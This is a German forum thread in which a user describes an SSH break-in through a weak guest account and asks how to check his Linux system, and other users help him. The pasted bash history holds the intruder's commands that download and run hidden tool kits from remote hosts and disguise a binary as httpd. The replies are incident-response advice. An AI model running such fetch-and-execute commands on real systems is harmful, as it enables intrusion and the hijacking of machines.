PC komprimitiert?
lima-city → Forum → Heim-PC → Betriebssysteme
anmelden
code
dank
datei
einloggen
ftp
gast
glauben
http
laufen
neustart
paar
port
programm
pub
server
setzen
sicherheit
start
system
-
Hi zusammen,
wen man immer sagt die größte Sicherheitslücke eines Systems sitzt vor dem Bildschirm ist das wohl gar nicht so falsch wie gestern bei mir selbst feststellen konnte.
Also, ich hab auf meinem Rechner einen Gastaccount erstellt \"guest\" mit dem tollen Passwort \"guest\". Desweiteren läuft ein ssh Server drauf der von außerhalb erreichbar ist. Dann kam es also wie es kommen musste und jemand ist durch die weit offene Tür hereinspaziert, was sich dadurch bemerkbar machte, dass plötzlich der Lüfter hochdrehte, weil \"guest\" fröhlich mit \"find\" die Festplatte durchsuchte. Ich hab dann natürlich sofort die Loginshell des ungebetenen Gastes gekillt und das Passwort geändert. Außerdem darf \"guest\" sich jetzt eh nicht mehr über ssh anmelden.
Jetzt hab ich aber in der .bash_history vom Gast noch ein paar Einträge gefunden, die mich etwas beunruhigen:
passwd
cat /etc/issue
w
su markus
cd /tmp
mkdir -p .bash
cd .bash
ftp onix.gtcomm.net
tar -xzvf darwin.tar.gz
cd \" \"
mv linux usr-sbin-httpd
export PATH=\".\"
usr-sbin-httpd
exit
ssh loclahost
ssh localhost
exit
cd /home/markus/
sudo /home/markus/
und
cd /var/tmp
ls -a
ps x
uname -a
cat /proc/cpuinfo
wget ftp://ftp.eggheads.org/pub/eggdrop/source/1.6/eggdrop1.6.17.tar.gz ; tar -zxvf eggdrop1.6.17.tar.gz ; rm -rf eggdrop1.6.17.tar.gz ; cd eggdrop1.6.17 ; chmod +X * ; ./configure
cd ..
rm -rf eggdrop1.6.17
wget http://gsmit.trei.ro/sshm.tgz; tar -zxvf sshm.tgz ; rm -rf sshm.tgz ; cd .sshm ; chmod +x * ; ./crond
cd ..
wget http://gsmit.trei.ro/wap.tgz; tar xzvf wap.tgz; rm -rf wap.tgz; cd .wap; chmod +x *
./start 209.209
ls
Ich hab natürlich auch mal /tmp komplett leergeräumt, ein Portscan auf mich selbst laufen lassen und das Homeverzeichnis vom Gast durchsucht, hab aber nix auffälliges gefunden.
So lange Rede kurzer Sinn, was kann ich noch machen um halbwegs sicher zu sein, das alles in Ordnung ist? Ja und ich weiß um komplett sicher zu sein hilft nur neu aufsetzten.
mfg markus -
Diskutiere mit und stelle Fragen: Jetzt kostenlos anmelden!
lima-city: Gratis werbefreier Webspace für deine eigene Homepage
-
Sowas hab ich ja noch nie gesehen Oo
/*
Auch wenn man ehrlicherweise zugeben muss, dass man hier nicht über die Sicherheit von Linux diskutieren darf, wenn guest als PW guest hat und über sudo vollzugriff bekommt.
*/
Also ich würde die Dateien mal mit \"nur user\" Rechten runterladen und mir anschauen, was das ist. Das erste sieht mir entweder nach ner neukonfig des Httpd Servers oder einfach nach nem Admin script aus. Bei den beiden anderen ist es mir unklar:
Warum guckt er erst bei cat /proc/cpuinfo nach dem CPU und Configuriert dann \"Eggdrop\"? (Ausführbar + ./configure)
wget ftp://ftp.eggheads.org/pub/eggdrop/source/1.6/eggdrop1.6.17.tar.gz ; tar -zxvf eggdrop1.6.17.tar.gz ; rm -rf eggdrop1.6.17.tar.gz ; cd eggdrop1.6.17 ; chmod +X * ; ./configure cd .. rm -rf eggdrop1.6.17 wget http://gsmit.trei.ro/sshm.tgz; tar -zxvf sshm.tgz ; rm -rf sshm.tgz ; cd .sshm ; chmod +x * ; ./crond cd .. wget http://gsmit.trei.ro/wap.tgz; tar xzvf wap.tgz; rm -rf wap.tgz; cd .wap; chmod +x * ./start 209.209
Nun kommt noch ein \"wap.tgz\" zum einsatz, welches allerdings per Cronjob gestartet werden soll. Aua, also dashier nenne ich mal \"DG\", Dumm gelaufen.
Auch wenn man hier sich wohl eingestehen muss \"Selber Schuld gehabt zu haben\", aber das macht den PC auch nicht wieder fitt. Zuerst solltest du die normalen Start-Scripts durchgehen und die Cronjobs löschen, die \"wap\" erzeugt hat. Aber ich denke, das in den Scripts der Programme dazu halt drinnsteht, wo sie sich wie registriert haben. Aber zu allererst das gerät Offline setzen ;)
Evtl. hilft hier ja sogar ein Linux-Vierenscanner weiter
Achja Wenn \"Markus\" ein Nutzername auf deinem System ist, dann gucke noch unbedingt in seinen Bashlog, da sich der Angreiffer wohl mit seinem Acc angemeldet hat. Und gucke mal in deine \"Modt\", also den Text, der beim Anmelden angezeigt wird, evtl. verrätst du da etwas zuviel Oo
Derhiercat /etc/issue
Beitrag geändert: 5.4.2008 11:03:57 von erasmuz -
Auch wenn man ehrlicherweise zugeben muss, dass man hier nicht über die Sicherheit von Linux diskutieren darf, wenn guest als PW guest hat und über sudo vollzugriff bekommt.
Natürlich ist das kein Sichterheitsproblem von Linux, sonder vom User, hab ich ja selbst geschrieben, dass ich ein Vollidiot bin, allerdings konnte guest eigentlich über sudo keine root Rechte erlagen, weil er nicht in der Admin Gruppe ist. Auch über \"su markus && sudo $BEFEHL\" ist es eigentlich unmöglich gewesen Root Rechte zu erlangen, da mein Passwort hinreichend sicher ist.
Das System ist auch immer auf einem aktuellen Patchlevel.
Und ja die Dateien wollt ich mir auch schon angucken, Eggdrop ist ja bekanntlich ein IRC Bot, die beiden Dateien auf gsmit.trei.ro existieren nicht mehr und ftp://onix.gtcomm.net ist leider passwortgeschützt.
Und sowohl die crontab von root, als auch von guest sind leer.
mfg
€dit: Auch in meiner crontab und .bash_history steht nix auffälliges.
Beitrag geändert: 5.4.2008 11:10:02 von kochmarkus -
Ja, dann bestätigt das die Theorie, dass er zwar mit
w
Herrausgefunden hat, das ein \"Markus\" angemeldet ist, aber als er versucht hat, sich mit ID Markus und PW Markus anzumelden, ging es nicht.
Ok, der erste \"Wurm\" sollte in /temp/.bash liegen und ist nach nem neustart weg.
Der zweite müsste aber Einträge in der Cronjob Datei verursacht haben, zumindest versucht haben, sich dort einzutragen mit dem
Script..../crond
//EDIT:
Aber es kann natürlich zu fehler geführt haben, was dann vermuten lässt, das der PC nach einem Neustart gereinigt ist, vielleicht ausser der \"PATH\" Var. für das erste Prog... Aber wenn du geschrieben hast, es wurden Dateien gesucht, was waren das für welche? Und warum sind die beiden Quotes getrennt, liegen da \"Normale\" Befehle zwischen?
Beitrag geändert: 5.4.2008 11:53:16 von erasmuz -
Also
das \'export $PATH=\".\"\' gilt ja auch nur für die aktuelle Shell.
Die beiden Quotes sind getrennt, weil es sich anscheinend um zwei getrennte Angriffe gehandelt hat und dazwischen wirklich ein paar normale Kommandos von mir drin sind. Ich hab wie gesagt auch alle Crontabs angeschaut und die sind sauber.
Nach was für Dateien gesucht wurde kann ich leider nicht mehr sicher sagen da ich, während der Eindringling noch gesucht hat, seine Loginshell beendet hab und das \'find\' jetzt nicht in der .bash_history steht. Ich hab das Kommando also nur kurz mit \'top\' gesehen, aber ich glaube der hat mit \'find /\' einfach nach allem gesucht.
-
Also, die wahrscheinlichkeit, dass diese Programme bleibenden Schaden hinterlassen haben, ist gering. Beim ersten \"Angriff\" tendiert es gegen 0, beim zweiten ist es nurnoch \"unwahrscheinlich\".
Wir kennen leider die Ausgaben der Scripts nicht, aber vermutlich waren diese einfach, das die Rechte gefehlt haben.
Um 100% sicherzugehen, solltest du dein System neu aufsetzen, wenn dir 99% reichen, dann kannst du es so lassen und hast wohl aus deinem Fehler gelernt ;)
PS: Um es besser abzusichern, solltest du (neben einem sinnigeren PW) den Port von SSH auf was anderes als 22 setzen. Mit Ip-Tables kannst du zudem den Port nur \"on demand\" mithilfe des \"Port Knocking\" zeugs aktivieren. Um noch sicherer zu sein, kannst du davor noch ein Gerät mit VPN stellen, über das du nur an deinen Server kommst. Zudem ist es sicherer, wenn du nur einen \"Normalen\" Acc hast, der SSH Zugriff hat und man sich SU erst durch eingabe des Root-PWs erlangen muss. Dann noch mindestens 16 Zeichen lange PWs, IP-Sperre bei falscheingabe für 5Minuten...
Dann wir dein System ein echtes Bollwerk
-
Ja es ist jetzt so konfiguriert, dass nur noch ich persönlich mich über ssh einloggen kann, der Port ist zwar lokal noch 22, aber von extern ein anderer, der dann vom Router mit NAT auf die 22 von meinem PC umgeleitet wird.
Desweiteren hab ich mein Passwort nochmal verstärkt.
Die Authentifizierung über Public Keys möchte ich nicht, da ich mich auch mal spontan von einem beliebigen PC z.B. in der Uni anmelden möchte ohne ständig den Key durch die Gegend zu kopieren.
Port Knocking und VPN wären meiner Meinung nach doch etwas übertrieben.
Und eigentlich wollte ich ja wenn Hardy Heron rauskommt einfach nur Updaten, aber das wird jetzt wohl um wirklich sicher zu sein doch eine Neuinstallation.
Danke für deine Hilfe -
Ich empfehle dir folgende zwei Sachen:
chkrootkit
und rkhunter
Die suchen beide recht intensiv nach Rootkits ;)
(Laufen auf allen Servern von mir per cronjob nachts um 4 (bzw. 4:10 Uhr damit se sich ned in die Quere kommen) und schicken mir dann das Ergebnis des Scans per Mail)
Beitrag geändert: 5.4.2008 15:35:05 von jannis -
Zwei wirklich parktische Programme wenn man zu doof ist sichere Passwörter zu vergeben.
Hab grad beide mal von LiveCD laufen lassen und es scheint wirklich alles i.O. zu sein, außer das rkhunter eine Warning ausgibt, dass sich root laut sshd.conf noch über ssh einloggen könnte.
Was aber bei Ubuntu nicht funktioniert, da dort der root Account ja deaktiviert ist.
Danke auch dir. -
Ubuntu nicht funktioniert, da dort der root Account ja deaktiviert ist.
Ehm, nein:
$sudo passwd root Neues Unix PW eintippen Wiederholen
und schon kannste dich als root per ssh anmelden...
root hat unter ubuntu nur kein Passwort oder ein unbekanntes oder irgendwie so. Aber \"deaktiviert\" würde ich dazu nicht sagen. Ich glaube, dass es aus sicherheitstechnischen Gründen schon besser wäre, dem Root hier ein sicheres und langes PW zu geben...
Beitrag geändert: 5.4.2008 16:09:03 von erasmuz -
Also root hat ja bei Ubuntu im Normalfall kein Passwort, das heißt ich kann mich nicht als root anmelden, weder lokal noch über ssh. Es müsste also erst jemand mein Passwort knacken, sich über ssh anmelden und dann mit \'sudo passwd root\' ein Passwort für root vergeben nur um sich danach als root anmelden zu können. Wär aber natürlich ziemlich schwachsinnig.
Ich werd trotzdem mal in der sshd.conf noch ein \'PermitRootLogin no\' einfügen. -
Ich glaube, dass es aus sicherheitstechnischen Gründen schon besser wäre, dem Root hier ein sicheres und langes PW zu geben...
... oder es mit \"passwd -l\" sperren. Danach gibt\'s kein Paßwort mehr, daß man erraten könnte.
Aber da sollte man sich schon sicher sein, daß man sich nicht selbst aussperrt. Und ehrlich gesagt: Ob diese rabiate Methode nicht irgendwelche Nebenwirkungen hat, kann ich nicht beschwören.
-
Diskutiere mit und stelle Fragen: Jetzt kostenlos anmelden!
lima-city: Gratis werbefreier Webspace für deine eigene Homepage
